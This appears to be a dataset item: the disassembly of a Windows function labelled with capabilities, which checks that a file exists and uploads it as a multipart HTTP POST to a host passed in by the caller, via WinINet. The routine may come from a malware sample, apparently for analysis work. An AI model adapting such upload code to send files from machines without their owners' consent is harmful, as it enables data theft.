Function at 0x402300
Capabilities:
Check if file exists
Connect to http server
Create http request
Send data
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push eax
mov ebx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40233d
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
cmp byte [0x439568], 0
mov dword [ebp - 0x2c], 0
jne 0x402359
call fcn.00401040
mov byte [0x439568], 1
mov edx, dword [0x439598]
mov eax, dword [edx + 0x9c]
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x40], eax
test eax, eax
je 0x40254f
push 0
push 0
push 3
push 0
push 0
push 0x50
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x44], esi
test esi, esi
je 0x402545
mov eax, dword [ebp - 0x38]
push 0
push 0x8468c200
push 0
push 0
push str.HTTP_1.0
push edi
push str.POST
push esi
mov dword [eax], 0x8468c200
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x48], eax
test eax, eax
je 0x40253e
mov ecx, 9
mov esi, str.___________________________uploader
lea edi, [ebp - 0x28]
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023e5
sub eax, edx
mov ecx, eax
lea eax, [ebp - 0x28]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4023f6
sub eax, esi
lea ecx, [eax + ecx + 0x100]
push ecx
call fcn.0041ceb7
lea edx, [ebp - 0x28]
push edx
push ebx
push str.Host:__s_r_nContent_Type:_multipart_form_data__boundary_s
push eax
mov dword [ebp - 0x3c], eax
call fcn.0041d6a1
mov eax, dword [ebp - 0x30]
add esp, 0x14
lea ebx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
call fcn.00401ec0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x28]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402440
sub eax, ecx
add eax, 0x423
push eax
call fcn.0041ceb7
push str.application_octet_stream
mov ebx, eax
push str.upload_file
lea eax, [ebp - 0x28]
push eax
push str.___s_r_nContent_Disposition:_form_data__name__s___filename_file.raw__r_nContent_Type:__s_r_n_r_n
push ebx
call fcn.0041d6a1
push 1
call fcn.0041e44a
mov dword [ebp - 0x34], eax
mov eax, ebx
add esp, 0x1c
mov dword [ebp - 0x30], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402488
sub eax, esi
push ebx
mov edi, eax
lea esi, [ebp - 0x34]
call fcn.00402a80
mov ecx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x2c]
push ecx
call fcn.00402a80
push str._r_n__
mov edi, 4
call fcn.00402a80
lea eax, [ebp - 0x28]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4024c0
sub eax, edx
lea edx, [ebp - 0x28]
push edx
mov edi, eax
lea esi, [ebp - 0x34]
call fcn.00402a80
push str.___r_n
mov edi, 4
call fcn.00402a80
mov esi, dword [ebp - 0x3c]
mov eax, esi
lea edi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4024f0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
push ecx
push edx
sub eax, edi
mov edi, dword [ebp - 0x48]
push eax
push esi
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
push eax
call fcn.0041d848
push ebx
call fcn.0041d848
push esi
call fcn.0041d848
add esp, 0xc
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.0041e410
mov esi, dword [ebp - 0x44]
add esp, 4
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
mov esp, ebp
pop ebp
ret